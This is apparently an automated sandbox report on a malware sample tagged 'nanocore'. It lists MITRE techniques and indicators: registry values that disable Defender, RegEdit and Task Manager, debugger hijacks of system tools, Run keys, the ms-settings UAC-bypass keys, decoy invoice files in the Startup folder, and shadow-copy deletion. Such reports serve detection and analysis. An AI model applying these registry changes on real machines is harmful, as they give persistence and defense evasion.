nanocore | 7ec353d3bb6b8e1ca7ea7a36855f83893ef566de2f0004cbb23d93aaa1d93773

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	weosapp.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5112	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	weosapp.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	weosapp.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe"	weosapp.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe"	weosapp.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe"	weosapp.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
2456	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_76.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	weosapp.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf	weosapp.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	weosapp.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe"	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe"	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe"	weosapp.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4720	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	weosapp.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	weosapp.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	weosapp.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4124	wscript.exe
2488	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	weosapp.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5688	sc.exe
1896	sc.exe
2520	sc.exe
6088	sc.exe
236	sc.exe
5572	sc.exe
5680	sc.exe
2264	sc.exe
2876	sc.exe
2448	sc.exe
2120	sc.exe
896	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4368	cmd.exe
1348	cmd.exe
4464	cmd.exe
4008	cmd.exe
1744	cmd.exe
2060	cmd.exe
4556	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4028	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
2608	NETSTAT.EXE
352	ipconfig.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2308	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3360	vssadmin.exe
1212	vssadmin.exe
4140	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000\Control Panel\Desktop\WallpaperStyle = "2"	weosapp.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134306500509123863"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell	weosapp.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings	weosapp.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe"	weosapp.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command	weosapp.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings	weosapp.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	weosapp.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command\DelegateExecute	weosapp.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	weosapp.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	weosapp.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\weosapp.io_chrome.exe\" \"%1\""	weosapp.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open\command	weosapp.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\ms-settings\shell\open	weosapp.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	weosapp.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4996	schtasks.exe
1348	schtasks.exe
2836	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4896	chrome.exe
4896	chrome.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
4552	WMIC.exe
4552	WMIC.exe
4552	WMIC.exe
4552	WMIC.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2136	WMIC.exe
2136	WMIC.exe
2136	WMIC.exe
2136	WMIC.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
756	WMIC.exe
756	WMIC.exe
756	WMIC.exe
756	WMIC.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe
2924	weosapp.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2924	weosapp.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeShutdownPrivilege	4896	chrome.exe
Token: SeCreatePagefilePrivilege	4896	chrome.exe
Token: SeBackupPrivilege	3468	vssvc.exe
Token: SeRestorePrivilege	3468	vssvc.exe
Token: SeAuditPrivilege	3468	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4552	WMIC.exe
Token: SeSecurityPrivilege	4552	WMIC.exe
Token: SeTakeOwnershipPrivilege	4552	WMIC.exe
Token: SeLoadDriverPrivilege	4552	WMIC.exe
Token: SeSystemProfilePrivilege	4552	WMIC.exe
Token: SeSystemtimePrivilege	4552	WMIC.exe
Token: SeProfSingleProcessPrivilege	4552	WMIC.exe
Token: SeIncBasePriorityPrivilege	4552	WMIC.exe
Token: SeCreatePagefilePrivilege	4552	WMIC.exe
Token: SeBackupPrivilege	4552	WMIC.exe
Token: SeRestorePrivilege	4552	WMIC.exe
Token: SeShutdownPrivilege	4552	WMIC.exe
Token: SeDebugPrivilege	4552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4552	WMIC.exe
Token: SeRemoteShutdownPrivilege	4552	WMIC.exe
Token: SeUndockPrivilege	4552	WMIC.exe
Token: SeManageVolumePrivilege	4552	WMIC.exe
Token: 33	4552	WMIC.exe
Token: 34	4552	WMIC.exe
Token: 35	4552	WMIC.exe
Token: 36	4552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4552	WMIC.exe
Token: SeSecurityPrivilege	4552	WMIC.exe
Token: SeTakeOwnershipPrivilege	4552	WMIC.exe
Token: SeLoadDriverPrivilege	4552	WMIC.exe
Token: SeSystemProfilePrivilege	4552	WMIC.exe
Token: SeSystemtimePrivilege	4552	WMIC.exe
Token: SeProfSingleProcessPrivilege	4552	WMIC.exe
Token: SeIncBasePriorityPrivilege	4552	WMIC.exe
Token: SeCreatePagefilePrivilege	4552	WMIC.exe
Token: SeBackupPrivilege	4552	WMIC.exe
Token: SeRestorePrivilege	4552	WMIC.exe
Token: SeShutdownPrivilege	4552	WMIC.exe
Token: SeDebugPrivilege	4552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4552	WMIC.exe
Token: SeRemoteShutdownPrivilege	4552	WMIC.exe
Token: SeUndockPrivilege	4552	WMIC.exe
Token: SeManageVolumePrivilege	4552	WMIC.exe
Token: 33	4552	WMIC.exe
Token: 34	4552	WMIC.exe
Token: 35	4552	WMIC.exe
Token: 36	4552	WMIC.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe
4896	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2924	weosapp.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2924 wrote to memory of 4896	2924	weosapp.io_chrome.exe	88
PID 4896 wrote to memory of 3452	4896	chrome.exe	89
PID 2924 wrote to memory of 5112	2924	weosapp.io_chrome.exe	90
PID 2924 wrote to memory of 2520	2924	weosapp.io_chrome.exe	92
PID 4896 wrote to memory of 4028	4896	chrome.exe	94
PID 4896 wrote to memory of 3388	4896	chrome.exe	95
PID 4896 wrote to memory of 3388	4896	chrome.exe	95
PID 4896 wrote to memory of 3540	4896	chrome.exe	96
PID 4896 wrote to memory of 3540	4896	chrome.exe	96
PID 2924 wrote to memory of 6088	2924	weosapp.io_chrome.exe	97
PID 4896 wrote to memory of 940	4896	chrome.exe	100
PID 4896 wrote to memory of 940	4896	chrome.exe	100
PID 4896 wrote to memory of 2336	4896	chrome.exe	101
PID 4896 wrote to memory of 2336	4896	chrome.exe	101
PID 2924 wrote to memory of 2120	2924	weosapp.io_chrome.exe	102
PID 2924 wrote to memory of 236	2924	weosapp.io_chrome.exe	104
PID 4896 wrote to memory of 5924	4896	chrome.exe	174
PID 4896 wrote to memory of 5924	4896	chrome.exe	174
PID 2924 wrote to memory of 896	2924	weosapp.io_chrome.exe	107
PID 2924 wrote to memory of 5688	2924	weosapp.io_chrome.exe	109
PID 4896 wrote to memory of 3312	4896	chrome.exe	110
PID 4896 wrote to memory of 3312	4896	chrome.exe	110
PID 2924 wrote to memory of 5572	2924	weosapp.io_chrome.exe	112
PID 2924 wrote to memory of 5680	2924	weosapp.io_chrome.exe	114
PID 2924 wrote to memory of 2736	2924	weosapp.io_chrome.exe	116
PID 2924 wrote to memory of 2264	2924	weosapp.io_chrome.exe	117
PID 2736 wrote to memory of 1208	2736	fodhelper.exe	119
PID 2924 wrote to memory of 2876	2924	weosapp.io_chrome.exe	120
PID 2924 wrote to memory of 3360	2924	weosapp.io_chrome.exe	122
PID 2924 wrote to memory of 4552	2924	weosapp.io_chrome.exe	124
PID 2924 wrote to memory of 4124	2924	weosapp.io_chrome.exe	132
